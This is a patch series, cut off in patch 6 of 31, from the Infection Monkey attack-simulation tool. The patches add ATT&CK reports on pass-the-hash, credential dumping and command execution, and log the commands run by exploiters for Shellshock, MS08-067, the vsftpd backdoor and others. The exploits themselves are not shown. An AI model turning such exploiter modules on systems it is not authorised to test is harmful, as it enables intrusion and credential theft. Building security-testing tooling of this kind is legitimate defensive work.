From c4d5aed01fb27ed668fc0aeb3610d93479d9328b Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 6 Jun 2019 18:04:29 +0300
Subject: [PATCH 01/31] PTH implementation finished, helper methods added
---
.../cc/services/attack/attack_report.py | 5 +-
.../attack/technique_reports/T1075.py | 43 +++++++++++++++++
.../components/attack/techniques/Helpers.js | 7 +++
.../src/components/attack/techniques/T1075.js | 46 +++++++++++++++++++
.../src/components/attack/techniques/T1110.js | 11 ++---
.../src/components/attack/techniques/T1197.js | 9 +---
.../src/components/attack/techniques/T1210.js | 11 ++---
.../report-components/AttackReport.js | 6 ++-
8 files changed, 111 insertions(+), 27 deletions(-)
create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 6801bcd64..49d51ffe5 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,5 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -11,7 +11,8 @@ LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197,
- 'T1110': T1110.T1110}
+ 'T1110': T1110.T1110,
+ 'T1075': T1075.T1075}
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
new file mode 100644
index 000000000..2ac3d5420
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -0,0 +1,43 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1075(AttackTechnique):
+
+ tech_id = "T1075"
+ unscanned_msg = "Monkey didn't try to use pass the hash attack."
+ scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
+ used_msg = "Monkey successfully used hashed credentials."
+
+ login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}},
+ {'lm_hash': {'$ne': ''}}]}}}
+
+ # Gets data about successful PTH logins
+ query = [{'$match': {'telem_type': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0},
+ '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
+ {'lm_hash': {'$ne': ''}}]},
+ {'result': True}]}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}}}}}]
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1075.technique_title(T1075.tech_id)}
+ successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
+ data.update({'successful_logins': successful_logins})
+ if successful_logins:
+ data.update({'message': T1075.used_msg, 'status': ScanStatus.USED.name})
+ elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
+ data.update({'message': T1075.scanned_msg, 'status': ScanStatus.SCANNED.name})
+ else:
+ data.update({'message': T1075.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
new file mode 100644
index 000000000..b15bba693
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -0,0 +1,7 @@
+import React from "react";
+
+export function RenderMachine(val){
+ return (
+ {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
+ )
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
new file mode 100644
index 000000000..f365e90f1
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -0,0 +1,46 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
+
+
+class T1075 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ this.props.data.successful_logins.forEach((login) => {
+ if(login.attempts[0].ntlm_hash !== ""){
+ login.attempts[0].hashType = 'NTLM';
+ } else if(login.attempts[0].lm_hash !== ""){
+ login.attempts[0].hashType = 'LM';
+ }
+ })
+ }
+
+ static getHashColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+
+
+ );
+ }
+}
+
+export default T1075;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index 64619ad55..468a9e79a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,6 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
class T1110 extends React.Component {
@@ -12,7 +13,7 @@ class T1110 extends React.Component {
static getServiceColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
@@ -23,13 +24,7 @@ class T1110 extends React.Component {
}])};
static renderCreds(creds) {
- return {creds.map(cred => {cred}
)}
- };
-
- static renderMachine(val){
- return (
- {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
- )
+ return {creds.map(cred => {cred}
)}
};
render() {
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
index cc963dde7..e4c7d841d 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
@@ -1,6 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
class T1210 extends React.Component {
@@ -8,7 +9,7 @@ class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
- id: 'machine', accessor: x => T1210.renderMachine(x),
+ id: 'machine', accessor: x => RenderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
@@ -21,12 +22,6 @@ class T1210 extends React.Component {
]
}
- static renderMachine(val){
- return (
- {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
- )
- };
-
renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){
return ()
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 5820d25d0..76bc5d196 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -1,6 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
class T1210 extends React.Component {
@@ -12,7 +13,7 @@ class T1210 extends React.Component {
static getScanColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
@@ -23,7 +24,7 @@ class T1210 extends React.Component {
static getExploitColumns() {
return ([{
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
@@ -31,12 +32,6 @@ class T1210 extends React.Component {
]
}])};
- static renderMachine(val){
- return (
- {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
- )
- };
-
static renderEndpoint(val){
return (
{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
index 19a7bb7c6..58f8ea4d7 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
@@ -2,17 +2,19 @@ import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
+import '../../styles/Collapse.scss'
import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197';
import T1110 from '../attack/techniques/T1110';
-import '../../styles/Collapse.scss'
+import T1075 from "../attack/techniques/T1075";
const tech_components = {
'T1210': T1210,
'T1197': T1197,
- 'T1110': T1110
+ 'T1110': T1110,
+ 'T1075': T1075
};
const classNames = require('classnames');
From 350c7d93fa67de6d94b88db2e2f5f32efae08972 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 7 Jun 2019 11:51:47 +0300
Subject: [PATCH 02/31] T1003 credential dumping implemented
---
.../cc/services/attack/attack_report.py | 5 ++--
.../attack/technique_reports/T1003.py | 25 +++++++++++++++++++
.../src/components/attack/techniques/T1003.js | 24 ++++++++++++++++++
.../cc/ui/src/components/pages/ReportPage.js | 2 +-
.../report-components/AttackReport.js | 6 +++--
5 files changed, 57 insertions(+), 5 deletions(-)
create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 49d51ffe5..b1079d8c7 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,5 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -12,7 +12,8 @@ LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197,
'T1110': T1110.T1110,
- 'T1075': T1075.T1075}
+ 'T1075': T1075.T1075,
+ 'T1003': T1003.T1003}
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
new file mode 100644
index 000000000..002e2eeb7
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -0,0 +1,25 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1003(AttackTechnique):
+
+ tech_id = "T1003"
+ unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
+ scanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
+ used_msg = "Monkey successfully obtained some credentials from systems on the network."
+
+ query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
+ {'data.credentials': {'$gt': {}}}]}
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1003.technique_title(T1003.tech_id)}
+ if mongo.db.telemetry.count_documents(T1003.query):
+ data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name})
+ else:
+ data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
new file mode 100644
index 000000000..1ec0b000e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -0,0 +1,24 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import '../../report-components/StolenPasswords'
+import StolenPasswordsComponent from "../../report-components/StolenPasswords";
+
+
+class T1003 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+
+
+ );
+ }
+}
+
+export default T1003;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 72aeca574..3a21b721e 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -520,7 +520,7 @@ class ReportPageComponent extends AuthComponent {
This report shows information about ATT&CK techniques used by Infection Monkey.
)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
index 58f8ea4d7..b10b1ff7d 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
@@ -9,12 +9,14 @@ import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197';
import T1110 from '../attack/techniques/T1110';
import T1075 from "../attack/techniques/T1075";
+import T1003 from "../attack/techniques/T1003";
const tech_components = {
'T1210': T1210,
'T1197': T1197,
'T1110': T1110,
- 'T1075': T1075
+ 'T1075': T1075,
+ 'T1003': T1003
};
const classNames = require('classnames');
@@ -101,7 +103,7 @@ class AttackReportPageComponent extends AuthComponent {
const TechniqueComponent = tech_components[technique];
return (
-
+
);
}
From af63e93b139a948c0829e245142bb8c444f44e65 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 7 Jun 2019 16:49:04 +0300
Subject: [PATCH 03/31] Table not shown if no hashes were used.
---
.../cc/ui/src/components/attack/techniques/T1075.js | 13 +++++++------
1 file changed, 7 insertions(+), 6 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index f365e90f1..6e80c9196 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -32,12 +32,13 @@ class T1075 extends React.Component {
{this.props.data.message}
-
+ {this.props.data.status === 'USED' ?
+
: ""}
);
}
From c99ceff21df431e588461efe55c4dbf27b055de2 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 7 Jun 2019 17:00:08 +0300
Subject: [PATCH 04/31] Table not shown if no passwords were stolen
---
.../cc/ui/src/components/attack/techniques/T1003.js | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
index 1ec0b000e..d7783714a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -15,7 +15,9 @@ class T1003 extends React.Component {
{this.props.data.message}
-
+ {this.props.data.status === 'USED' ?
+
+ : ""}
);
}
From 9b08e606f8e23ec3bb3a77d5997353a5f9f9b72e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 08:46:35 +0300
Subject: [PATCH 05/31] CLI implementation started
---
monkey/infection_monkey/exploit/__init__.py | 3 +-
monkey/infection_monkey/exploit/hadoop.py | 1 +
monkey/infection_monkey/exploit/mssqlexec.py | 2 +-
monkey/infection_monkey/exploit/rdpgrinder.py | 2 +-
monkey/infection_monkey/exploit/shellshock.py | 1 +
monkey/infection_monkey/exploit/sshexec.py | 1 +
monkey/infection_monkey/exploit/vsftpd.py | 1 +
monkey/infection_monkey/exploit/web_rce.py | 2 +
.../infection_monkey/exploit/win_ms08_067.py | 5 ++-
.../cc/services/attack/attack_report.py | 5 ++-
.../cc/services/attack/attack_schema.py | 14 +++++++
.../attack/technique_reports/T1059.py | 30 +++++++++++++++
.../src/components/attack/techniques/T1059.js | 38 +++++++++++++++++++
.../src/components/attack/techniques/T1075.js | 4 +-
14 files changed, 100 insertions(+), 9 deletions(-)
create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 7353d77bc..84dd81393 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -24,7 +24,8 @@ class HostExploiter(object):
'started': '',
'finished': '',
'vulnerable_urls': [],
- 'vulnerable_ports': []}
+ 'vulnerable_ports': [],
+ 'executed_cmds': []}
self._exploit_attempts = []
self.host = host
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index f02c4f3d3..1e8ac9d8e 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
+ self._exploit_info['executed_cmds'].append(command)
return True
def exploit(self, url, command):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c7d29c8c2..1f21f9ecd 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -76,7 +76,7 @@ class MSSQLExploiter(HostExploiter):
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
-
+ self._exploit_info['executed_cmds'].append(commands[-1])
return True
@staticmethod
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index 8e219b5c8..dcbc01b1d 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
-
+ self._exploit_info['executed_cmds'].append(command)
return True
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 2f6e3516f..b308c57fe 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -144,6 +144,7 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
+ self._exploit_info['executed_cmds'].append(cmdline)
return True
return False
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 09982876d..9aafae2a4 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -178,6 +178,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
+ self._exploit_info['executed_cmds'].append(cmdline)
return True
except Exception as exc:
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 3f6a7c304..23a89a96e 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -138,6 +138,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
+ self._exploit_info['executed_cmds'].append(run_monkey)
return True
else:
return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 2b08575c3..57a4cfa60 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -419,6 +419,8 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
+
+ self._exploit_info['executed_cmds'].append(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 41b3820d5..72fca6d1d 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -92,7 +92,7 @@ class SRVSVC_Exploit(object):
def get_telnet_port(self):
"""get_telnet_port()
-
+
The port on which the Telnet service will listen.
"""
@@ -100,7 +100,7 @@ class SRVSVC_Exploit(object):
def start(self):
"""start() -> socket
-
+
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
@@ -153,6 +153,7 @@ class SRVSVC_Exploit(object):
class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
+ _EXPLOITED_SERVICE = 'Microsoft Server Service'
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index b1079d8c7..4ec62d7a2 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,5 +1,5 @@
import logging
-from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -13,7 +13,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1197': T1197.T1197,
'T1110': T1110.T1110,
'T1075': T1075.T1075,
- 'T1003': T1003.T1003}
+ 'T1003': T1003.T1003,
+ 'T1059': T1059.T1059}
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index 2a59103ad..a79b57a87 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -84,5 +84,19 @@ SCHEMA = {
}
}
},
+ "execution": {
+ "title": "Execution",
+ "type": "object",
+ "properties": {
+ "T1059": {
+ "title": "T1059 Command line interface",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may use command-line interfaces to interact with systems "
+ "and execute other software during the course of an operation.",
+ }
+ }
+ },
}
}
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
new file mode 100644
index 000000000..bf29247fd
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -0,0 +1,30 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1059(AttackTechnique):
+
+ tech_id = "T1059"
+ unscanned_msg = "Monkey didn't exploit any machines to run commands at."
+ scanned_msg = ""
+ used_msg = "Monkey successfully ran commands on exploited machines in the network."
+
+ query = [{'$match': {'telem_type': 'exploit',
+ 'data.info.executed_cmds': {'$not': {'$size': 0}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info'}},
+ {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
+
+ @staticmethod
+ def get_report_data():
+ cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
+ data = {'title': T1059.technique_title(T1059.tech_id), 'data': cmd_data}
+ if cmd_data:
+ data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name})
+ else:
+ data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name})
+ return data
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
new file mode 100644
index 000000000..1cf93065f
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -0,0 +1,38 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { RenderMachine } from "./Helpers"
+
+
+class T1059 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getHashColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1059;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 6e80c9196..9b7e921b7 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -22,8 +22,8 @@ class T1075 extends React.Component {
columns: [
{Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
- {Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
- {Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
]
}])};
From 908c531696cd0e61274f6e7442fad0a25793d6e1 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 10 Jun 2019 11:31:04 +0300
Subject: [PATCH 06/31] command line implementation finished
---
.../cc/services/attack/technique_reports/T1059.py | 2 +-
.../cc/ui/src/components/attack/techniques/T1059.js | 9 +++++----
.../ui/src/components/report-components/AttackReport.js | 4 +++-
3 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index bf29247fd..330b13c71 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -22,7 +22,7 @@ class T1059(AttackTechnique):
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
- data = {'title': T1059.technique_title(T1059.tech_id), 'data': cmd_data}
+ data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data}
if cmd_data:
data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name})
else:
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 1cf93065f..4a65ee34a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -13,8 +13,9 @@ class T1059 extends React.Component {
